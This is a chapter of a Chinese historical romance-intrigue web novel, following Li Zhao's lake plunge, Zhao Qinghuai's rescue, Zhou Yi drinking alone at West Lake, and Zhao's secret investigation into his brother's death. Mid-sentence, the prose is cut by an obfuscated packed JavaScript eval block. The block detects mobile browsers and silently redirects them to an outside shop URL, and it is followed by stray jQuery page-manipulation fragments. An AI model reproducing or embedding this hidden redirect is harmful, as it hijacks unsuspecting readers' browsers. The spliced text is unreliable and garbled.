本以为李昭会羞愤离开,但也算是了却心头大事。
转头一看,李昭已经爬过栏杆,纵身要往湖里一跃了。
赵青淮大气都没来得及喘,绷紧了皮冲过去,却只来得及拉住李昭的一缕衣角。
只听“扑通”一声,四周复归寂静,只有湖面那幽深水花在回荡。
赵青淮头皮发麻,没有任何犹豫跟着跳了下去。
正值初夏,荷花才露尖尖角,赵青淮被荷花清香冲击着,到处寻不到李昭,几乎晕头转向。
急火攻心下,一股铁锈味窜到他喉间。
“李昭。”
赵青淮四处游走,可湖面如同丝滑的银缎子,涟漪层层推向岸边,他心底慌极了,他甚至后悔自己这么突兀地和她提起此事。
“小昭!”
赵青淮刚刚撕心裂肺喊了一句,却见一女子钻出水面。
皎洁的月色下,李昭却全然换了张脸,原本寡淡容颜一下变得生机勃勃,甚至连初绽的荷花都不及她清丽。鬓发散乱,而面白如雪,犹如勾人的女鬼。
赵青淮的心狂跳起来,顿时口干舌燥。
他想过李昭是易容过,却没想到她原本是这样一张脸,这样的惹人怜爱……
但心动很快被愤怒替代,他抓住李昭的胳膊:“你干什么?跟我上去!”
李昭挣扎:“你为何要救我,你把我送到周易面前,不如让我去死。”
湖水溅到赵青淮嘴边,凭空添了几分苦涩:“你是他的未婚妻,我怎么能不……”
李昭未等他说完,作势要往水里钻。
赵青淮急急来救,谁知被李昭钩住领口,不由自主低下头,李昭诡计得逞,轻笑一声,仰头吻上他嘴角。
赵青淮浑身僵硬,瞳孔扩大,成了一块会冒热气的木头,他本应该推开她。
可她又轻飘飘落下一句:“你推开我我就淹死自己,反正我也早不想活了。”
“你,你干什么?”
赵青淮好不容易找回自己的声音,想要推开她,又怕她出事。
只好强压心底羞耻,紧紧攥住她肩头,旁人看来,反而是他对李昭欲行不轨。
只有他知道,李昭犹如地狱爬出来的艳鬼,钩住他所有心魄。
“赵大人,如此光风霁月,为什么还要唐突别人的未婚妻。”
“为什么还和我这么难舍难分,”李昭冰冷的手,贴在赵青淮面颊,像在抚摸什么稀世珍宝,那般流连忘返,“赵大人,是不是舍不得我去死啊。”
她微微一偏头,唇瓣落在赵青淮手侧,赵青淮仿佛触火般,整个人像是要被点燃了。
他明知道眼前的女子心有所属,可还是控制不住自己心扉,飞蛾扑火般绝望地妥协。
李昭微笑看他,眼里像是沁进了湖水:“况且赵大人何必妄自菲薄,我观赵大人,芝兰玉树,颇入我心。”
他没有吻回去,而是取了一缕李昭的头发,慢慢缠绕在指尖。
那乌黑的发丝,像是某种不详的征兆,死死缠住了赵青淮的心。
他把李昭抱回去时,什么也没说,可李昭却知道,她赢了,彻彻底底。
杭州的西湖,夜里总是冷寂的。
夜风挑逗着野草,草木混着湖腥气丝丝缕缕,锦衣卫指挥使周易站在西湖边,痴痴地瞧着对岸。
那里灯火通明,远远地有一花船,上面灯火通明,有花娘在屏风后舞剑,身姿飒爽,腰肢柔韧,引得看客连连叫好。
心腹想要投其所好,赔笑:“大人,要不要把她们叫来?”
“离得近了,就没意思了,”周易简短回应,“这里不需要你了,退下吧。”
周易身边空无一人,他觉得很快意。
高位呆久了,总觉得身边人太多,太杂,太闹。
坐在河边爬满青苔的石头上,他取酒独酌,望着波光粼粼的肥水,他手一拘。
几尾波光粼粼的小鱼,在他掌心跳跃,他唇角微微勾起。
周易想到自己还是穷小子的时候,虽然每天食不果腹,可他身边有李昭。
而今他身居高位,风光无限,可故居蒙尘,故人不在,那这些还有什么用处。
他想到这,蓦然攥紧手掌,鱼儿掉进湖中,转眼去了幽深处。
他的掌心只留下冰凉的湖水,成串流淌下去,搅弄西湖的一池清幽。
“小昭,”周易轻轻唤道,“我好想你。”
许是酒气太火辣,灼痛了他的眼,他的声音陡然夹杂一丝委屈:“她们都不是你,没有人是你。”
周易的声音已经哽咽,树影摇曳,风声大了起来,吹得周易衣袍猎猎作响。
夜色越发浓重,花船早已远去,远远有几声凄厉猫叫,可周易还是一个人。
不知道他喝了多久,已是浑身酒气,他半眯着眼,从脖颈上掏出一个小木雕,喃喃:“小昭,你不许我丢,我把它天天戴着,我是不是很听话?”
他露出一丝笑,小心翼翼将吊坠塞回去。
不知想到什么,他眸中闪过丝狠戾,他轻声:“如果你要让我痛苦,为什么不杀了我?”
“让我看你和他在一起,我更痛苦,痛苦得想杀人……”
这边赵府,庭院深深,赵青淮踹开房门,抱着李昭把她放置在床榻上。
看到眼含秋波的李昭,他头痛欲裂,心底翻涌着莫名的情绪,轻叹:“李昭,我还没问过你,是哪里人?”
“江湖儿女,四海为家。”李昭轻笑,“赵大人难道不知道?”
赵青淮也笑了:“每个人四海为家之前,也总要有个归处的?”
李昭不说话了。
赵青淮坐下,拿来毛巾递给她,李昭轻轻擦着滴水的发尖。
灯花发出“劈啪”轻响,在暗夜中摇曳,赵青淮此刻却已经平静下来。
尽管他浑身湿透,可气质丝毫不弱,他双腿分开,胳膊搭在腿面,随口发问般:“周易从前就是你的归处,是吗?”
赵青淮这话问得的确唐突,叫李昭心底没由来疼了下。
她没回答。
赵青淮心中嫉妒如同野草般疯狂滋长,噬咬着他心底,可他不甘示弱,偏要装得无所谓模样,于是他挑衅般瞧着李昭的眼:“回答我。”
李昭盯着他的眼,突然轻笑:“你吃这没味的飞醋?”
赵青淮也低低笑了,盯着她的眼睛:“我竟有资格吃醋吗?”
没等李昭说话,赵青淮起身,居
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309660|198770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高临下:“我叫人给你准备了热水。”
还没有出门时,他突兀停下脚步,却没有回头:“下次不要再这样了。”
“我不是每次都愿意陪你这样疯的。”
李昭没有说话,只是对他报以一个乖巧的微笑。
“赵青淮!”李昭不知换了什么主意,突然开口,可惜他的脚步声越来越远,渐渐消失在暗夜中。
晚上,李昭因为筋脉尽废,而这两日又过多动手,疼得翻来覆去睡不着。
她沁出一身薄汗,她看到墙上的剑,眼中蓦然爆发出强烈恨意,她推开门,来到了赵青淮的密室,依旧轻而易举打开锁。
这里比之前还要黑暗,那张画仍旧高悬,画上的男子仿佛在盯着她,李昭看了,只觉得亲切。
李昭将所有黑布扯下,这间密室墙壁上密密麻麻写满了关于朝中关系的分析。
如今,圣上身体孱弱,而太子穆城纨绔,三皇子穆文轩又体弱多病。
长公主穆宁泽夺权之心天下皆知,天下门客纷扰而至,自然还有当年那幢震惊京城的惨案。
赵青淮的哥哥,赵长今,就是由公主提拔成为户部侍郎,彼时他得贵人赏识,朝中又平步青,一时风光无限。
但也正因他貌若潘安,常被传出和公主关系不简单,公主也从不否定这点。
可在他从公主的凤鸾殿离开那天夜里,他独自夜登高楼,过度饮酒,灯火点燃了轻纱,慌忙逃生间,却因为醉酒身形不稳,踏空而死。
还有闲人猜测说,他是撞见了公主和男宠亲昵,愤恨自焚。
有人说,他怀才不遇,处处被打压,妄图登高楼化清风而去。
看得出,赵青淮和哥哥感情很深,甚至一些分析文书上,染着点点干涸泪痕。
想到平日里风光无限的按察使赵青淮,私下里苦苦追查哥哥去世真相,满心孤苦无人诉说。
李昭不禁起了怜悯之心。
“好一个可怜人。”李昭轻喃。
李昭看了半夜,觉得有些冷了,她却不想出去,这里的氛围叫她觉得亲切。
曾几何时,她也是这样满腔愤恨,憎恨这世界的所有人。
她攥着手心里的剑,杀掉了她所有的仇人。
那时的她,在江湖里风头无量,被称为“李疯子”。
大仇得报,她本以为自己会挣脱桎梏,从此磊落一身,可最后她却宁愿自废武功,流浪街头。
她所作的一切,本是求生,最后却变成了求速死。
仇恨到底给人带来了什么,这句话李昭无法回答。
相信赵青淮也是一样。
“大人。”
而此时西湖边,已经是天光微曙,下属来找到周易,犹豫着要不要开口。
周易看着站不稳,可头脑依旧清醒,扫过去的目光阴鸷无比:“什么事?”
下属不自觉低下头,凑到他耳边:“我们这边得到消息,按察使赵青淮已经掌握了针对布政使祁康的不利证据,不日就要送到京城。”
周易眸光微闪,喃喃:“……这个祁康还不能死,既然此事一定要有人顶罪,那你去安排一个好了。”
那人犹豫:“可赵大人那边已经掌握了人证。”